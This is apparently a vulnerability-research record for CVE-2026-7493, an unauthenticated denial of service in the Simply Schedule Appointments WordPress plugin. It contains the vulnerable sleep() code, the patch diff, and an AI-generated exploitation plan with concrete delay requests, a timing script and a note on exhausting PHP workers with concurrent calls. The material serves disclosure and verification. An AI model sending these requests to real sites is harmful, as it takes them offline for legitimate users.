[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f6EPOl9hPD29a7_-Py4gfQ3a-Ucw2wJgOZUoMBmSp1sk":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":29,"research_verified":30,"research_rounds_completed":31,"research_plan":32,"research_summary":33,"research_vulnerable_code":34,"research_fix_diff":35,"research_exploit_outline":36,"research_model_used":37,"research_started_at":38,"research_completed_at":39,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":30,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":30,"source_links":40},"CVE-2026-7493","appointment-booking-calendar-simply-schedule-appointments-booking-plugin-unauthenticated-denial-of-service","Appointment Booking Calendar — Simply Schedule Appointments Booking Plugin \u003C= 1.6.11.5 - Unauthenticated Denial of Service","The Appointment Booking Calendar — Simply Schedule Appointments Booking Plugin plugin for WordPress is vulnerable to denial of service in all versions up to, and including, 1.6.11.5. This is due to a publicly accessible REST API endpoint (\u002Fwp-json\u002Fssa\u002Fv1\u002Fasync) that calls PHP's sleep() function on a user-supplied delay parameter without any rate limiting. This makes it possible for unauthenticated attackers to exhaust PHP worker processes, denying access to the site to legitimate users.","simply-schedule-appointments",null,"\u003C=1.6.11.5","1.6.11.7","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:N\u002FA:L","Uncontrolled Resource Consumption","2026-05-26 13:07:06","2026-05-27 01:26:17",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fae66228e-d086-44fd-8acb-5a99482cedfb?source=api-prod",1,[22,23,24,25,26,27,28],"CHANGELOG.md","includes\u002Fclass-async-action-model.php","includes\u002Fclass-elementor.php","includes\u002Fclass-paypal-ipn-listener.php","readme.txt","simply-schedule-appointments.php","vendor\u002Fcomposer\u002Finstalled.php","researched",false,3,"This research plan outlines the technical steps to verify the unauthenticated Denial of Service (DoS) vulnerability in the **Simply Schedule Appointments** plugin (CVE-2026-7493).\n\n## 1. Vulnerability Summary\nThe vulnerability is an **Uncontrolled Resource Consumption** issue located in the `SSA_Async_Action_Model` class. The plugin registers a public REST API endpoint designed to trigger asynchronous actions. This endpoint accepts a `delay` parameter and passes it directly to the PHP `sleep()` function without validating the maximum duration or checking for administrative privileges. \n\nAn unauthenticated attacker can send multiple requests with large `delay` values to saturate the server's PHP worker pool (e.g., FPM\u002FApache workers), making the site unresponsive to legitimate traffic.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-json\u002Fssa\u002Fv1\u002Fasync`\n- **Method:** `GET` (via `WP_REST_Server::READABLE`) or `POST` (via `WP_REST_Server::CREATABLE`)\n- **Parameter:** `delay` (Integer)\n- **Authentication:** None (Publicly accessible)\n- **Preconditions:** The plugin must be active. The site must be using a standard WordPress REST API configuration.\n\n## 3. Code Flow\nThe vulnerability is contained in `includes\u002Fclass-async-action-model.php`:\n\n1.  **Registration:** The `register_routes()` method (line 155) defines the endpoint:\n    ```php\n    register_rest_route(\n        $namespace, \u002F\u002F 'ssa\u002Fv1'\n        '\u002F' . $base, \u002F\u002F 'async'\n        array(\n            array(\n                'methods'             => WP_REST_Server::CREATABLE,\n                'callback'            => array( $this, 'process_endpoint' ),\n                'permission_callback' => '__return_true', \u002F\u002F No auth required\n            ),\n            array(\n                'methods'             => WP_REST_Server::READABLE,\n                'callback'            => array( $this, 'process_endpoint' ),\n                'permission_callback' => '__return_true', \u002F\u002F No auth required\n            ),\n        )\n    );\n    ```\n2.  **Execution:** The `process_endpoint()` method (line 178) processes the request:\n    ```php\n    public function process_endpoint( $request ) {\n        define( 'SSA_DOING_ASYNC', true );\n        $params = $request->get_params();\n        \n        if ( ! empty( $params[ 'delay' ] ) ) {\n            $delay = (int) sanitize_text_field( $params['delay'] );\n            sleep( $delay ); \u002F\u002F Vulnerable sink: Uncontrolled sleep duration\n        }\n        \u002F\u002F ...\n    }\n    ```\n\n## 4. Nonce Acquisition Strategy\nThis specific endpoint **does not require a WordPress nonce**. \n- The `permission_callback` is explicitly set to `__return_true`.\n- The WordPress REST API typically requires a `_wpnonce` header only for authenticated requests or specific nonce-guarded routes. \n- The source code in `process_endpoint` does not perform any manual `wp_verify_nonce` or `check_ajax_referer` checks.\n\n## 5. Exploitation Strategy\nTo prove the vulnerability, we will demonstrate that the server response is delayed by exactly the amount specified in the `delay` parameter.\n\n### Step 1: Baseline Request\nSend a request without a delay to ensure the endpoint is reachable and responsive.\n- **Request:** `GET \u002Fwp-json\u002Fssa\u002Fv1\u002Fasync`\n- **Expected Response:** `200 OK` (returns `true`) in milliseconds.\n\n### Step 2: Delayed Request (The Exploit)\nSend a request with a `delay` parameter (e.g., 5 seconds).\n- **Request:** `GET \u002Fwp-json\u002Fssa\u002Fv1\u002Fasync?delay=5`\n- **Mechanism:** The PHP process will hang at `sleep(5)`.\n- **Expected Behavior:** The HTTP response will not be returned until at least 5 seconds have elapsed.\n\n### Step 3: Resource Exhaustion Demonstration (Conceptual)\nSending multiple concurrent requests with `delay=30` will occupy 100% of available PHP workers for 30 seconds.\n\n## 6. Test Data Setup\nNo specific WordPress content or settings are required. Simply ensure the plugin is activated.\n\n1.  **Install\u002FActivate Plugin:**\n    `wp plugin activate simply-schedule-appointments`\n2.  **Verify Endpoint:**\n    Check if the route is registered:\n    `wp rest route list | grep \"ssa\u002Fv1\u002Fasync\"`\n\n## 7. Expected Results\nA successful exploit will show:\n- The `http_request` tool reporting a `total_time` closely matching the `delay` parameter.\n- The server returning a `200 OK` response body containing `true` (as specified in the `process_endpoint` return statement).\n\n## 8. Verification Steps\nSince this is a Denial of Service primitive, we verify it by timing the execution of the HTTP request from the perspective of the attacker.\n\n1.  **Execute the delayed request:**\n    ```javascript\n    \u002F\u002F Using http_request in the agent environment\n    const start = Date.now();\n    const response = await http_request({\n        method: 'GET',\n        url: 'http:\u002F\u002Flocalhost:8080\u002Fwp-json\u002Fssa\u002Fv1\u002Fasync?delay=5'\n    });\n    const duration = (Date.now() - start) \u002F 1000;\n    console.log(`Response received in ${duration} seconds.`);\n    ```\n2.  **Validation Logic:** If `duration >= 5` and the response is `true`, the vulnerability is confirmed.\n\n## 9. Alternative Approaches\n- **POST Method:** If `GET` is restricted by a security plugin, the vulnerability can be triggered via `POST`:\n  - **URL:** `\u002Fwp-json\u002Fssa\u002Fv1\u002Fasync`\n  - **Content-Type:** `application\u002Fjson`\n  - **Body:** `{\"delay\": 5}`\n- **Large Delay:** Test with a larger delay (e.g., `15`) to confirm that the `sleep()` duration scales linearly with user input, confirming the lack of sanitization\u002Flimiting. Note that the request might eventually hit the PHP `max_execution_time` limit (default 30s), causing a `504 Gateway Timeout` instead of a `200 OK`, which still confirms the DoS.","The Simply Schedule Appointments plugin for WordPress is vulnerable to an unauthenticated Denial of Service (DoS) due to uncontrolled resource consumption. A publicly accessible REST API endpoint (\u002Fwp-json\u002Fssa\u002Fv1\u002Fasync) accepts a user-supplied delay parameter and passes it directly to PHP's sleep() function without authentication or upper bounds. This allows attackers to exhaust the server's PHP worker pool, making the site unresponsive to legitimate users.","\u002F\u002F includes\u002Fclass-async-action-model.php:146\n\tpublic function register_routes() {\n\t\t$version   = '1';\n\t\t$namespace = 'ssa\u002Fv' . $version;\n\t\t$base      = 'async';\n\n\t\tregister_rest_route(\n\t\t\t $namespace,\n\t\t\t'\u002F' . $base,\n\t\t\tarray(\n\t\t\t\tarray(\n\t\t\t\t\t'methods'             => WP_REST_Server::CREATABLE,\n\t\t\t\t\t'callback'            => array( $this, 'process_endpoint' ),\n\t\t\t\t\t'permission_callback' => '__return_true',\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'methods'             => WP_REST_Server::READABLE,\n\t\t\t\t\t'callback'            => array( $this, 'process_endpoint' ),\n\t\t\t\t\t'permission_callback' => '__return_true',\n\t\t\t\t),\n\t\t\t)\n\t\t\t);\n\t}\n\n---\n\n\u002F\u002F includes\u002Fclass-async-action-model.php:171\n\tpublic function process_endpoint( $request ) {\n\t\tdefine( 'SSA_DOING_ASYNC', true );\n\t\t$params = $request->get_params();\n\t\t\n\t\tif ( ! empty( $params[ 'delay' ] ) ) {\n\t\t\t$delay = (int) sanitize_text_field( $params['delay'] );\n\t\t\tsleep( $delay );\n\t\t}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsimply-schedule-appointments\u002F1.6.11.5\u002FCHANGELOG.md \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsimply-schedule-appointments\u002F1.6.11.7\u002FCHANGELOG.md\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsimply-schedule-appointments\u002F1.6.11.5\u002FCHANGELOG.md\t2026-05-12 22:32:04.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsimply-schedule-appointments\u002F1.6.11.7\u002FCHANGELOG.md\t2026-05-19 22:33:02.000000000 +0000\n@@ -1,5 +1,12 @@\n # Changelog\n \n+## SSA-VERSION-PREFIX.6.11.7 - 2026-05-12\n+\n+### Fixes\n+\n+- Cover both signed in and signed out usage in Cypress tests\n+- Cap async endpoint delay to prevent DoS (CVE-2026-7493)\n+\n ## SSA-VERSION-PREFIX.6.11.5 - 2026-05-05\n \n ### Fixes\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsimply-schedule-appointments\u002F1.6.11.5\u002Fincludes\u002Fclass-async-action-model.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsimply-schedule-appointments\u002F1.6.11.7\u002Fincludes\u002Fclass-async-action-model.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsimply-schedule-appointments\u002F1.6.11.5\u002Fincludes\u002Fclass-async-action-model.php\t2025-07-01 22:07:54.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsimply-schedule-appointments\u002F1.6.11.7\u002Fincludes\u002Fclass-async-action-model.php\t2026-05-19 22:33:02.000000000 +0000\n@@ -50,11 +50,47 @@\n \t\t\tadd_action( 'init', array( $this, 'schedule_cron' ) );\n \t\t}\n \t\tadd_action( 'ssa_cron_process_async_actions', array( $this, 'execute_cron_process_async_actions' ) );\n-\t\t\n+\n \t\tadd_action( 'init', array( $this, 'schedule_async_action_cleanup' ) );\n \t\tadd_action( 'ssa\u002Fasync_actions\u002Fcleanup', array( $this, 'cleanup_async_actions' ) );\n+\n+\t\tadd_action( 'ssa\u002Fappointment\u002Fbooked', array( $this, 'mint_async_delay_token' ), 10, 1 );\n \t}\n-\t\n+\n+\t\u002F**\n+\t * Mint a one-shot, short-lived token that authorises a single \u002Fasync?delay=N\n+\t * request for this appointment.\n+\t *\n+\t * The \u002Fasync endpoint sleeps for the requested delay so notifications\u002Fwebhooks\n+\t * queued at +5s have time to mature before the queue is drained. Without a\n+\t * gate, the unauthenticated endpoint amplifies any anonymous request into a\n+\t * worker hold (CVE-2026-7493). Tying the sleep to a freshly-completed booking\n+\t * forces an attacker to complete a real booking per attempt and limits\n+\t * lifetime to 30s.\n+\t *\u002F\n+\tpublic function mint_async_delay_token( $appointment_id ) {\n+\t\tif ( empty( $appointment_id ) ) {\n+\t\t\treturn;\n+\t\t}\n+\t\tset_transient( 'ssa_async_delay_' . absint( $appointment_id ), 1, 30 );\n+\t}\n+\n+\t\u002F**\n+\t * Verify and consume the one-shot delay token for $appointment_id.\n+\t * Returns true exactly once per minted token.\n+\t *\u002F\n+\tprotected function consume_async_delay_token( $appointment_id ) {\n+\t\tif ( empty( $appointment_id ) ) {\n+\t\t\treturn false;\n+\t\t}\n+\t\t$key = 'ssa_async_delay_' . absint( $appointment_id );\n+\t\tif ( false === get_transient( $key ) ) {\n+\t\t\treturn false;\n+\t\t}\n+\t\tdelete_transient( $key );\n+\t\treturn true;\n+\t}\n+\n \t\u002F**\n \t * Filter the where conditions for the query\n \t *\n@@ -167,10 +203,17 @@\n \tpublic function process_endpoint( $request ) {\n \t\tdefine( 'SSA_DOING_ASYNC', true );\n \t\t$params = $request->get_params();\n-\t\t\n-\t\tif ( ! empty( $params[ 'delay' ] ) ) {\n-\t\t\t$delay = (int) sanitize_text_field( $params['delay'] );\n-\t\t\tsleep( $delay );\n+\n+\t\tif ( ! empty( $params['delay'] ) ) {\n+\t\t\t\u002F\u002F Cap [0, 10] as defence-in-depth; legitimate caller passes 7. Even\n+\t\t\t\u002F\u002F with a valid token the sleep is bounded so a worker can't be held\n+\t\t\t\u002F\u002F arbitrarily long.\n+\t\t\t$delay          = min( 10, max( 0, (int) $params['delay'] ) );\n+\t\t\t$appointment_id = ! empty( $params['object_id'] ) ? absint( $params['object_id'] ) : 0;\n+\n+\t\t\tif ( $delay > 0 && $this->consume_async_delay_token( $appointment_id ) ) {\n+\t\t\t\tsleep( $delay );\n+\t\t\t}\n \t\t}\n \n \t\t$params = shortcode_atts(","The exploit targets the public WordPress REST API endpoint \u002Fwp-json\u002Fssa\u002Fv1\u002Fasync. Because the route registration defines a permission_callback that returns true, no authentication is required. An attacker sends a GET or POST request containing a 'delay' parameter set to a large value (e.g., 30). The plugin's server-side logic passes this integer directly to PHP's sleep() function, causing the associated PHP worker thread to hang. By sending a volume of concurrent requests equal to or greater than the server's maximum worker pool size, an attacker can exhaust all available resources and prevent the site from serving any legitimate traffic for the duration of the sleep calls.","gemini-3-flash-preview","2026-06-04 19:26:14","2026-06-04 19:26:56",{"type":41,"vulnerable_version":42,"fixed_version":11,"vulnerable_browse":43,"vulnerable_zip":44,"fixed_browse":45,"fixed_zip":46,"all_tags":47},"plugin","1.6.11.5","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsimply-schedule-appointments\u002Ftags\u002F1.6.11.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsimply-schedule-appointments.1.6.11.5.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsimply-schedule-appointments\u002Ftags\u002F1.6.11.7","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsimply-schedule-appointments.1.6.11.7.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsimply-schedule-appointments\u002Ftags"]